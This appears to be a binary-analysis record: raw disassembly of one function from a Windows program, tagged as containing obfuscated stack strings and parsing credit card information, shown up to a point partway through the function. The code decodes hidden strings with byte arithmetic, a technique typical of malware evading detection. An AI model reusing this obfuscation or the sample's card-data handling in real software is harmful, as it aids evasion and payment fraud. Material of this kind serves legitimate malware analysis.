Function at 0x140001c58
Capabilities:
Contain obfuscated stackstrings
Parse credit card information

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov eax, 0x18b8
call fcn.140011a50
sub rsp, rax
call fcn.1400109c0
call fcn.140006b6b
mov edi, eax
call fcn.140007300
mov rsi, rax
mov rax, qword [rax + 0x20]
mov rbx, qword [rax + 0x80]
lea rcx, [rsp + 0x16a0]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x1a
mov word [rsp + 0x142], 0x20
mov word [rsp + 0x144], 0x1a
mov word [rsp + 0x146], 0x1b
mov word [rsp + 0x148], 0xc
mov word [rsp + 0x14a], 0x14
mov word [rsp + 0x14c], 0x19
mov word [rsp + 0x14e], 0x16
mov word [rsp + 0x150], 0x16
mov word [rsp + 0x152], 0x1b
mov word [rsp + 0x154], 4
mov word [rsp + 0x156], 0xc7
cmp byte [0x1409c59b8], 0
jne 0x140001d65
mov byte [0x1409c59d8], 1
mov eax, 0
lea rcx, [0x1409c59c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x140001d3c
mov byte [0x1409c59b8], 1
lea rcx, [0x140001548]
call fcn.1400014f0
cmp byte [0x1409c59d8], 0
je 0x140001d97
lea rdx, [0x1409c59c0]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
sub ax, 0x26c7
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001d79
mov byte [0x1409c59d8], 0
lea rdx, [0x1409c59c0]
mov rcx, rbx
call fcn.140006516
mov rdx, rax
lea rcx, [rsp + 0x16a0]
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0x1490]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x8d
mov word [rsp + 0x142], 0x84
mov word [rsp + 0x144], 0xaa
mov word [rsp + 0x146], 0xa4
mov word [rsp + 0x148], 0xa5
mov word [rsp + 0x14a], 0x96
mov word [rsp + 0x14c], 0x9e
mov word [rsp + 0x14e], 0x64
mov word [rsp + 0x150], 0x63
mov word [rsp + 0x152], 0x31
cmp byte [0x1409c5998], 0
jne 0x140001e77
mov byte [0x1409c59b4], 1
mov eax, 0
lea rcx, [0x1409c59a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xa
jne 0x140001e4e
mov byte [0x1409c5998], 1
lea rcx, [0x140001562]
call fcn.1400014f0
cmp byte [0x1409c59b4], 0
je 0x140001ea9
lea rdx, [0x1409c59a0]
lea rcx, [rdx + 0x14]
movzx eax, word [rdx]
add ax, 0x6fcf
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001e8b
mov byte [0x1409c59b4], 0
lea rdx, [rsp + 0x16a0]
lea rcx, [rsp + 0x1490]
lea r8, [0x1409c59a0]
call fcn.140005cb0
lea rcx, [rsp + 0x1280]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x5f
mov word [rsp + 0x142], 0x66
mov word [rsp + 0x144], 0x70
mov word [rsp + 0x146], 0x67
mov word [rsp + 0x148], 0x31
mov word [rsp + 0x14a], 0x68
mov word [rsp + 0x14c], 0x7b
mov word [rsp + 0x14e], 0x68
mov word [rsp + 0x150], 3
cmp byte [0x1409c5970], 0
jne 0x140001f7c
mov byte [0x1409c5992], 1
mov eax, 0
lea rcx, [0x1409c5980]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140001f53
mov byte [0x1409c5970], 1
lea rcx, [0x14000157c]
call fcn.1400014f0
cmp byte [0x1409c5992], 0
je 0x140001fae
lea rdx, [0x1409c5980]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x6803
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001f90
mov byte [0x1409c5992], 0
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x1280]
lea r8, [0x1409c5980]
call fcn.140005cb0
lea rcx, [rsp + 0x1070]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x93
mov word [rsp + 0x142], 0x8e
mov word [rsp + 0x144], 0xa0
mov word [rsp + 0x146], 0xa5
mov word [rsp + 0x148], 0x9b
mov word [rsp + 0x14a], 0xa6
mov word [rsp + 0x14c], 0xae
mov word [rsp + 0x14e], 0xaa
mov word [rsp + 0x150], 0x87
mov word [rsp + 0x152], 0xa6
mov word [rsp + 0x154], 0xae
mov word [rsp + 0x156], 0x9c
mov word [rsp + 0x158], 0xa9
mov word [rsp + 0x15a], 0x8a
mov word [rsp + 0x15c], 0x9f
mov word [rsp + 0x15e], 0x9c
mov word [rsp + 0x160], 0xa3
mov word [rsp + 0x162], 0xa3
mov word [rsp + 0x164], 0x93
mov word [rsp + 0x166], 0xad
mov word [rsp + 0x168], 0x68
mov word [rsp + 0x16a], 0x65
mov word [rsp + 0x16c], 0x67
mov word [rsp + 0x16e], 0x93
mov word [rsp + 0x170], 0xa7
mov word [rsp + 0x172], 0xa6
mov word [rsp + 0x174], 0xae
mov word [rsp + 0x176], 0x9c
mov word [rsp + 0x178], 0xa9
mov word [rsp + 0x17a], 0xaa
mov word [rsp + 0x17c], 0x9f
mov word [rsp + 0x17e], 0x9c
mov word [rsp + 0x180], 0xa3
mov word [rsp + 0x182], 0xa3
mov word [rsp + 0x184], 0x65
mov word [rsp + 0x186], 0x9c
mov word [rsp + 0x188], 0xaf
mov word [rsp + 0x18a], 0x9c
mov word [rsp + 0x18c], 0x37
cmp byte [0x1409c5910], 0
jne 0x1400021ad
mov byte [0x1409c596e], 1
mov eax, 0
lea rcx, [0x1409c5920]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x27
jne 0x140002184
mov byte [0x1409c5910], 1
lea rcx, [0x140001596]
call fcn.1400014f0
cmp byte [0x1409c596e], 0
je 0x1400021df
lea rdx, [0x1409c5920]
lea rcx, [rdx + 0x4e]
movzx eax, word [rdx]
add ax, 0x5c9
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400021c1
mov byte [0x1409c596e], 0
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x1070]
lea r8, [0x1409c5920]
call fcn.140005cb0
lea rcx, [rsp + 0xe60]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0xa9
mov word [rsp + 0x142], 0xb0
mov word [rsp + 0x144], 0xbc
mov word [rsp + 0x146], 0xbb
mov word [rsp + 0x148], 0xb5
mov word [rsp + 0x14a], 0xbc
mov word [rsp + 0x14c], 0xc0
mov word [rsp + 0x14e], 0xc1
mov word [rsp + 0x150], 0x7b
mov word [rsp + 0x152], 0xb2
mov word [rsp + 0x154], 0xc5
mov word [rsp + 0x156], 0xb2
mov word [rsp + 0x158], 0x4d
cmp byte [0x1409c58e0], 0
jne 0x1400022da
mov byte [0x1409c590a], 1
mov eax, 0
lea rcx, [0x1409c58f0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xd
jne 0x1400022b1
mov byte [0x1409c58e0], 1
lea rcx, [0x1400015b0]
call fcn.1400014f0
cmp byte [0x1409c590a], 0
je 0x14000230c
lea rdx, [0x1409c58f0]
lea rcx, [rdx + 0x1a]
movzx eax, word [rdx]
add ax, 0x41b3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400022ee
mov byte [0x1409c590a], 0
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0xe60]
lea r8, [0x1409c58f0]
call fcn.140005cb0
lea rcx, [rsp + 0xc50]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x93
mov word [rsp + 0x142], 0xa7
mov word [rsp + 0x144], 0xad
mov word [rsp + 0x146], 0x9b
mov word [rsp + 0x148], 0xa7
mov word [rsp + 0x14a], 0xa1
mov word [rsp + 0x14c], 0xa9
mov word [rsp + 0x14e], 0x9c
mov word [rsp + 0x150], 0xa5
mov word [rsp + 0x152], 0xac
mov word [rsp + 0x154], 0xac
mov word [rsp + 0x156], 0x9d
mov word [rsp + 0x158], 0x9e
mov word [rsp + 0x15a], 0x65
mov word [rsp + 0x15c], 0xab
mov word [rsp + 0x15e], 0xa4
mov word [rsp + 0x160], 0xa7
mov word [rsp + 0x162], 0x37
cmp byte [0x1409c5888], 0
jne 0x140002439
mov byte [0x1409c58c4], 1
mov eax, 0
lea rcx, [0x1409c58a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x12
jne 0x140002410
mov byte [0x1409c5888], 1
lea rcx, [0x1400015cb]
call fcn.1400014f0
cmp byte [0x1409c58c4], 0
je 0x14000246b
lea rdx, [0x1409c58a0]
lea rcx, [rdx + 0x24]
movzx eax, word [rdx]
sub ax, 0x1637
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000244d
mov byte [0x1409c58c4], 0
mov word [rsp + 0x140], 0x8b
mov word [rsp + 0x142], 0x7c
mov word [rsp + 0x144], 0x84
mov word [rsp + 0x146], 0x87
mov word [rsp + 0x148], 0x74
mov word [rsp + 0x14a], 0x37
cmp byte [0x1409c58c8], 0
jne 0x1400024ec
mov byte [0x1409c58dc], 1
mov eax, 0
lea rcx, [0x1409c58d0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 6
jne 0x1400024c3
mov byte [0x1409c58c8], 1
lea rcx, [0x1400015ca]
call fcn.1400014f0
cmp byte [0x1409c58dc], 0
je 0x14000251e
lea rdx, [0x1409c58d0]
lea rcx, [rdx + 0xc]
movzx eax, word [rdx]
sub ax, 0x1637
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002500
mov byte [0x1409c58dc], 0
lea rdx, [0x1409c58d0]
mov rcx, rbx
call fcn.140006516
mov rdx, rax
lea rcx, [rsp + 0xc50]
lea r8, [0x1409c58a0]
call fcn.140005cb0
lea rcx, [rsp + 0x140]
mov r8d, 0xa2
lea rdx, section..rdata
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c57c0], 0
jne 0x1400025a3
mov byte [0x1409c5882], 1
mov eax, 0
lea rcx, [0x1409c57e0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x51
jne 0x14000257a
mov byte [0x1409c57c0], 1
lea rcx, [0x1400015e5]
call fcn.1400014f0
cmp byte [0x1409c5882], 0
je 0x1400025d8
lea rdx, [0x1409c57e0]
lea rcx, [rdx + 0xa2]
movzx eax, word [rdx]
sub ax, 0x42eb
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400025ba
mov byte [0x1409c5882], 0
lea r8, [rsp + 0x1070]
lea rdx, [rsp + 0x1490]
mov qword [rsp + 0x20], r8
lea r9, [0x1409c57e0]
mov ecx, 1
call fcn.14000645a
lea rcx, [rsp + 0x140]
mov r8d, 0xbc
lea rdx, [0x1409bc0c0]
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c56f8], 0
jne 0x14000265d
mov byte [0x1409c57bc], 1
mov eax, 0
lea rcx, [0x1409c5700]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x5e
jne 0x140002634
mov byte [0x1409c56f8], 1
lea rcx, [0x140001602]
call fcn.1400014f0
cmp byte [0x1409c57bc], 0
je 0x140002692
lea rdx, [0x1409c5700]
lea rcx, [rdx + 0xbc]
movzx eax, word [rdx]
add ax, 0x6b85
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002674
mov byte [0x1409c57bc], 0
lea r8, [rsp + 0x1280]
lea rdx, [rsp + 0x1490]
mov qword [rsp + 0x20], r8
lea r9, [0x1409c5700]
mov ecx, 1
call fcn.14000645a
mov word [rsp + 0x140], 0x38
mov word [rsp + 0x142], 0x56
mov word [rsp + 0x144], 0x52
mov word [rsp + 0x146], 0x36
mov word [rsp + 0x148], 0x59
mov word [rsp + 0x14a], 0x46
mov word [rsp + 0x14c], 0x42
mov word [rsp + 0x14e], 0x45
mov word [rsp + 0x150], 0x4e
mov word [rsp + 0x152], 0x53
mov word [rsp + 0x154], 0xe3
cmp byte [0x1409c5648], 0
jne 0x14000276b
mov byte [0x1409c5666], 1
mov eax, 0
lea rcx, [0x1409c5650]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xb
jne 0x140002742
mov byte [0x1409c5648], 1
lea rcx, [0x140001639]
call fcn.1400014f0
cmp byte [0x1409c5666], 0
je 0x14000279d
lea rdx, [0x1409c5650]
lea rcx, [rdx + 0x16]
movzx eax, word [rdx]
sub ax, 0x50e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000277f
mov byte [0x1409c5666], 0
mov word [rsp + 0x140], 0x3f
mov word [rsp + 0x142], 0x35
mov word [rsp + 0x144], 0x48
mov word [rsp + 0x146], 0x4a
mov word [rsp + 0x148], 0x4c
mov word [rsp + 0x14a], 0x56
mov word [rsp + 0x14c], 0x57
mov word [rsp + 0x14e], 0x55
mov word [rsp + 0x150], 0x5c
mov word [rsp + 0x152], 0x3f
mov word [rsp + 0x154], 0x30
mov word [rsp + 0x156], 0x44
mov word [rsp + 0x158], 0x46
mov word [rsp + 0x15a], 0x4b
mov word [rsp + 0x15c], 0x4c
mov word [rsp + 0x15e], 0x51
mov word [rsp + 0x160], 0x48
mov word [rsp + 0x162], 0x3f
mov word [rsp + 0x164], 0x36
mov word [rsp + 0x166], 0x3c
mov word [rsp + 0x168], 0x36
mov word [rsp + 0x16a], 0x37
mov word [rsp + 0x16c], 0x28
mov word [rsp + 0x16e], 0x30
mov word [rsp + 0x170], 0x3f
mov word [rsp + 0x172], 0x26
mov word [rsp + 0x174], 0x58
mov word [rsp + 0x176], 0x55
mov word [rsp + 0x178], 0x55
mov word [rsp + 0x17a], 0x48
mov word [rsp + 0x17c], 0x51
mov word [rsp + 0x17e], 0x57
mov word [rsp + 0x180], 0x26
mov word [rsp + 0x182], 0x52
mov word [rsp + 0x184], 0x51
mov word [rsp + 0x186], 0x57
mov word [rsp + 0x188], 0x55
mov word [rsp + 0x18a], 0x52
mov word [rsp + 0x18c], 0x4f
mov word [rsp + 0x18e], 0x36
mov word [rsp + 0x190], 0x48
mov word [rsp + 0x192], 0x57
mov word [rsp + 0x194], 0x3f
mov word [rsp + 0x196], 0x36
mov word [rsp + 0x198], 0x48
mov word [rsp + 0x19a], 0x55
mov word [rsp + 0x19c], 0x59
mov word [rsp + 0x19e], 0x4c
mov word [rsp + 0x1a0], 0x46
mov word [rsp + 0x1a2], 0x48
mov word [rsp + 0x1a4], 0x56
mov word [rsp + 0x1a6], 0x3f
mov word [rsp + 0x1a8], 0x38
mov word [rsp + 0x1aa], 0x56
mov word [rsp + 0x1ac], 0x52
mov word [rsp + 0x1ae], 0x36
mov word [rsp + 0x1b0], 0x59
mov word [rsp + 0x1b2], 0x46
mov word [rsp + 0x1b4], 0xe3
cmp byte [0x1409c5668], 0
jne 0x140002a30
mov byte [0x1409c56f6], 1
mov eax, 0
lea rcx, [0x1409c5680]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3b
jne 0x140002a07
mov byte [0x1409c5668], 1
lea rcx, [0x14000161f]
call fcn.1400014f0
cmp byte [0x1409c56f6], 0
je 0x140002a62
lea rdx, [0x1409c5680]
lea rcx, [rdx + 0x76]
movzx eax, word [rdx]
sub ax, 0x50e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002a44
mov byte [0x1409c56f6], 0
lea rdx, [0x1409c5650]
lea rcx, [0x1409c5680]
call fcn.140006d8a
mov word [rsp + 0x140], 0xa4
mov word [rsp + 0x142], 0xae
mov word [rsp + 0x144], 0xae
mov word [rsp + 0x146], 0xa0
mov word [rsp + 0x148], 0x9a
mov word [rsp + 0x14a], 0xb2
mov word [rsp + 0x14c], 0xb1
mov word [rsp + 0x14e], 0xb6
mov word [rsp + 0x150], 0xb0
mov word [rsp + 0x152], 0xa0
mov word [rsp + 0x154], 0xc3
mov word [rsp + 0x156], 0xb0
mov word [rsp + 0x158], 0xac
mov word [rsp + 0x15a], 0xaf
mov word [rsp + 0x15c], 0xb8
mov word [rsp + 0x15e], 0xbd
mov word [rsp + 0x160], 0x4d
cmp byte [0x1409c5560], 0
jne 0x140002b64
mov byte [0x1409c55a2], 1
mov eax, 0
lea rcx, [0x1409c5580]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x11
jne 0x140002b3b
mov byte [0x1409c5560], 1
lea rcx, [0x140001670]
call fcn.1400014f0
cmp byte [0x1409c55a2], 0
je 0x140002b96
lea rdx, [0x1409c5580]
lea rcx, [rdx + 0x22]
movzx eax, word [rdx]
add ax, 0x71b3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002b78
mov byte [0x1409c55a2], 0
mov word [rsp + 0x140], 0xa9
mov word [rsp + 0x142], 0x9f
mov word [rsp + 0x144], 0xb2
mov word [rsp + 0x146], 0xb4
mov word [rsp + 0x148], 0xb6
mov word [rsp + 0x14a], 0xc0
mov word [rsp + 0x14c], 0xc1
mov word [rsp + 0x14e], 0xbf
mov word [rsp + 0x150], 0xc6
mov word [rsp + 0x152], 0xa9
mov word [rsp + 0x154], 0x9a
mov word [rsp + 0x156], 0xae
mov word [rsp + 0x158], 0xb0
mov word [rsp + 0x15a], 0xb5
mov word [rsp + 0x15c], 0xb6
mov word [rsp + 0x15e], 0xbb
mov word [rsp + 0x160], 0xb2
mov word [rsp + 0x162], 0xa9
mov word [rsp + 0x164], 0xa0
mov word [rsp + 0x166], 0xa6
mov word [rsp + 0x168], 0xa0
mov word [rsp + 0x16a], 0xa1
mov word [rsp + 0x16c], 0x92
mov word [rsp + 0x16e], 0x9a
mov word [rsp + 0x170], 0xa9
mov word [rsp + 0x172], 0x90
mov word [rsp + 0x174], 0xc2
mov word [rsp + 0x176], 0xbf
mov word [rsp + 0x178], 0xbf
mov word [rsp + 0x17a], 0xb2
mov word [rsp + 0x17c], 0xbb
mov word [rsp + 0x17e], 0xc1
mov word [rsp + 0x180], 0x90
mov word [rsp + 0x182], 0xbc
mov word [rsp + 0x184], 0xbb
mov word [rsp + 0x186], 0xc1
mov word [rsp + 0x188], 0xbf
mov word [rsp + 0x18a], 0xbc
mov word [rsp + 0x18c], 0xb9
mov word [rsp + 0x18e], 0xa0
mov word [rsp + 0x190], 0xb2
mov word [rsp + 0x192], 0xc1
mov word [rsp + 0x194], 0xa9
mov word [rsp + 0x196], 0xa0
mov word [rsp + 0x198], 0xb2
mov word [rsp + 0x19a], 0xbf
mov word [rsp + 0x19c], 0xc3
mov word [rsp + 0x19e], 0xb6
mov word [rsp + 0x1a0], 0xb0
mov word [rsp + 0x1a2], 0xb2
mov word [rsp + 0x1a4], 0xc0
mov word [rsp + 0x1a6], 0xa9
mov word [rsp + 0x1a8], 0xa4
mov word [rsp + 0x1aa], 0xae
mov word [rsp + 0x1ac], 0xae
mov word [rsp + 0x1ae], 0xa0
mov word [rsp + 0x1b0], 0x9a
mov word [rsp + 0x1b2], 0xb2
mov word [rsp + 0x1b4], 0xb1
mov word [rsp + 0x1b6], 0xb6
mov word [rsp + 0x1b8], 0xb0
mov word [rsp + 0x1ba], 0xa0
mov word [rsp + 0x1bc], 0xc3
mov word [rsp + 0x1be], 0xb0
mov word [rsp + 0x1c0], 0x4d
cmp byte [0x1409c55a8], 0
jne 0x140002e65
mov byte [0x1409c5642], 1
mov eax, 0
lea rcx, [0x1409c55c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x41
jne 0x140002e3c
mov byte [0x1409c55a8], 1
lea rcx, [0x140001653]
call fcn.1400014f0
cmp byte [0x1409c5642], 0
je 0x140002e9a
lea rdx, [0x1409c55c0]
lea rcx, [rdx + 0x82]
movzx eax, word [rdx]
add ax, 0x71b3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002e7c
mov byte [0x1409c5642], 0
lea rdx, [0x1409c5580]
lea rcx, [0x1409c55c0]
call fcn.140006d8a
mov word [rsp + 0x140], 0x94
mov word [rsp + 0x142], 0x92
mov word [rsp + 0x144], 0x7e
mov word [rsp + 0x146], 0x92
mov word [rsp + 0x148], 0x90
mov word [rsp + 0x14a], 0x82
mov word [rsp + 0x14c], 0x8f
mov word [rsp + 0x14e], 0x93
mov word [rsp + 0x150], 0x7c
mov word [rsp + 0x152], 0x7f
mov word [rsp + 0x154], 0x88
mov word [rsp + 0x156], 0x8d
mov word [rsp + 0x158], 0x1d
cmp byte [0x1409c5498], 0
jne 0x140002f74
mov byte [0x1409c54ba], 1
mov eax, 0
lea rcx, [0x1409c54a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xd
jne 0x140002f4b
mov byte [0x1409c5498], 1
lea rcx, [0x1400016a4]
call fcn.1400014f0
cmp byte [0x1409c54ba], 0
je 0x140002fa6
lea rdx, [0x1409c54a0]
lea rcx, [rdx + 0x1a]
movzx eax, word [rdx]
add ax, 0x25e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002f88
mov byte [0x1409c54ba], 0
mov word [rsp + 0x140], 0x79
mov word [rsp + 0x142], 0x6f
mov word [rsp + 0x144], 0x82
mov word [rsp + 0x146], 0x84
mov word [rsp + 0x148], 0x86
mov word [rsp + 0x14a], 0x90
mov word [rsp + 0x14c], 0x91
mov word [rsp + 0x14e], 0x8f
mov word [rsp + 0x150], 0x96
mov word [rsp + 0x152], 0x79
mov word [rsp + 0x154], 0x6a
mov word [rsp + 0x156], 0x7e
mov word [rsp + 0x158], pe_nt_image_headers64
mov word [rsp + 0x15a], 0x85
mov word [rsp + 0x15c], 0x86
mov word [rsp + 0x15e], 0x8b
mov word [rsp + 0x160], 0x82
mov word [rsp + 0x162], 0x79
mov word [rsp + 0x164], 0x70
mov word [rsp + 0x166], 0x76
mov word [rsp + 0x168], 0x70
mov word [rsp + 0x16a], 0x71
mov word [rsp + 0x16c], 0x62
mov word [rsp + 0x16e], 0x6a
mov word [rsp + 0x170], 0x79
mov word [rsp + 0x172], 0x60
mov word [rsp + 0x174], 0x92
mov word [rsp + 0x176], 0x8f
mov word [rsp + 0x178], 0x8f
mov word [rsp + 0x17a], 0x82
mov word [rsp + 0x17c], 0x8b
mov word [rsp + 0x17e], 0x91
mov word [rsp + 0x180], 0x60
mov word [rsp + 0x182], 0x8c
mov word [rsp + 0x184], 0x8b
mov word [rsp + 0x186], 0x91
mov word [rsp + 0x188], 0x8f
mov word [rsp + 0x18a], 0x8c
mov word [rsp + 0x18c], 0x89
mov word [rsp + 0x18e], 0x70
mov word [rsp + 0x190], 0x82
mov word [rsp + 0x192], 0x91
mov word [rsp + 0x194], 0x79
mov word [rsp + 0x196], 0x70
mov word [rsp + 0x198], 0x82
mov word [rsp + 0x19a], 0x8f
mov word [rsp + 0x19c], 0x93
mov word [rsp + 0x19e], 0x86
mov word [rsp + 0x1a0], pe_nt_image_headers64
mov word [rsp + 0x1a2], 0x82
mov word [rsp + 0x1a4], 0x90
mov word [rsp + 0x1a6], 0x79
mov word [rsp + 0x1a8], 0x94
mov word [rsp + 0x1aa], 0x92
mov word [rsp + 0x1ac], 0x7e
mov word [rsp + 0x1ae], 0x92
mov word [rsp + 0x1b0], 0x90
mov word [rsp + 0x1b2], 0x82
mov word [rsp + 0x1b4], 0x8f
mov word [rsp + 0x1b6], 0x93
mov word [rsp + 0x1b8], 0x1d
cmp byte [0x1409c54c0], 0
jne 0x14000324d
mov byte [0x1409c555a], 1
mov eax, 0
lea rcx, [0x1409c54e0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3d
jne 0x140003224
mov byte [0x1409c54c0], 1
lea rcx, [0x14000168a]
call fcn.1400014f0
cmp byte [0x1409c555a], 0
je 0x14000327f
lea rdx, [0x1409c54e0]
lea rcx, [rdx + 0x7a]
movzx eax, word [rdx]
add ax, 0x25e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003261
mov byte [0x1409c555a], 0
lea rdx, [0x1409c54a0]
lea rcx, [0x1409c54e0]
call fcn.140006d8a
mov word [rsp + 0x140], 0x4b
mov word [rsp + 0x142], 0x52
mov word [rsp + 0x144], 0x5d
mov word [rsp + 0x146], 0x5c
mov word [rsp + 0x148], 0x68
mov word [rsp + 0x14a], 0x6b
mov word [rsp + 0x14c], 0x74
mov word [rsp + 0x14e], 0x79
mov word [rsp + 0x150], 9
cmp byte [0x1409c53f8], 0
jne 0x140003331
mov byte [0x1409c5412], 1
mov eax, 0
lea rcx, [0x1409c5400]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140003308
mov byte [0x1409c53f8], 1
lea rcx, [0x1400016d8]
call fcn.1400014f0
cmp byte [0x1409c5412], 0
je 0x140003363
lea rdx, [0x1409c5400]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x7009
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003345
mov byte [0x1409c5412], 0
mov word [rsp + 0x140], 0x65
mov word [rsp + 0x142], 0x5b
mov word [rsp + 0x144], 0x6e
mov word [rsp + 0x146], 0x70
mov word [rsp + 0x148], 0x72
mov word [rsp + 0x14a], 0x7c
mov word [rsp + 0x14c], 0x7d
mov word [rsp + 0x14e], 0x7b
mov word [rsp + 0x150], 0x82
mov word [rsp + 0x152], 0x65
mov word [rsp + 0x154], 0x56
mov word [rsp + 0x156], 0x6a
mov word [rsp + 0x158], 0x6c
mov word [rsp + 0x15a], 0x71
mov word [rsp + 0x15c], 0x72
mov word [rsp + 0x15e], 0x77
mov word [rsp + 0x160], 0x6e
mov word [rsp + 0x162], 0x65
mov word [rsp + 0x164], 0x5c
mov word [rsp + 0x166], 0x62
mov word [rsp + 0x168], 0x5c
mov word [rsp + 0x16a], 0x5d
mov word [rsp + 0x16c], 0x4e
mov word [rsp + 0x16e], 0x56
mov word [rsp + 0x170], 0x65
mov word [rsp + 0x172], 0x4c
mov word [rsp + 0x174], 0x7e
mov word [rsp + 0x176], 0x7b
mov word [rsp + 0x178], 0x7b
mov word [rsp + 0x17a], 0x6e
mov word [rsp + 0x17c], 0x77
mov word [rsp + 0x17e], 0x7d
mov word [rsp + 0x180], 0x4c
mov word [rsp + 0x182], 0x78
mov word [rsp + 0x184], 0x77
mov word [rsp + 0x186], 0x7d
mov word [rsp + 0x188], 0x7b
mov word [rsp + 0x18a], 0x78
mov word [rsp + 0x18c], 0x75
mov word [rsp + 0x18e], 0x5c
mov word [rsp + 0x190], 0x6e
mov word [rsp + 0x192], 0x7d
mov word [rsp + 0x194], 0x65
mov word [rsp + 0x196], 0x5c
mov word [rsp + 0x198], 0x6e
mov word [rsp + 0x19a], 0x7b
mov word [rsp + 0x19c], 0x7f
mov word [rsp + 0x19e], 0x72
mov word [rsp + 0x1a0], 0x6c
mov word [rsp + 0x1a2], 0x6e
mov word [rsp + 0x1a4], 0x7c
mov word [rsp + 0x1a6], 0x65
mov word [rsp + 0x1a8], 0x4b
mov word [rsp + 0x1aa], 0x52
mov word [rsp + 0x1ac], 0x5d
mov word [rsp + 0x1ae], 0x5c
mov word [rsp + 0x1b0], 9
cmp byte [0x1409c5418], 0
jne 0x1400035e2
mov byte [0x1409c5492], 1
mov eax, 0
lea rcx, [0x1409c5420]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x39
jne 0x1400035b9
mov byte [0x1409c5418], 1
lea rcx, [0x1400016be]
call fcn.1400014f0
cmp byte [0x1409c5492], 0
je 0x140003614
lea rdx, [0x1409c5420]
lea rcx, [rdx + 0x72]
movzx eax, word [rdx]
sub ax, 0x7009
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400035f6
mov byte [0x1409c5492], 0
lea rdx, [0x1409c5400]
lea rcx, [0x1409c5420]
call fcn.140006d8a
mov word [rsp + 0x140], 0xdb
mov word [rsp + 0x142], 0xe6
mov word [rsp + 0x144], 0xea
mov word [rsp + 0x146], 0xed
mov word [rsp + 0x148], 0xda
mov word [rsp + 0x14a], 0xd6
mov word [rsp + 0x14c], 0xd9
mov word [rsp + 0x14e], 0xe2
mov word [rsp + 0x150], 0xe7
mov word [rsp + 0x152], 0x77
cmp byte [0x1409c5358], 0
jne 0x1400036d0
mov byte [0x1409c5374], 1
mov eax, 0
lea rcx, [0x1409c5360]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xa
jne 0x1400036a7
mov byte [0x1409c5358], 1
lea rcx, [0x14000170c]
call fcn.1400014f0
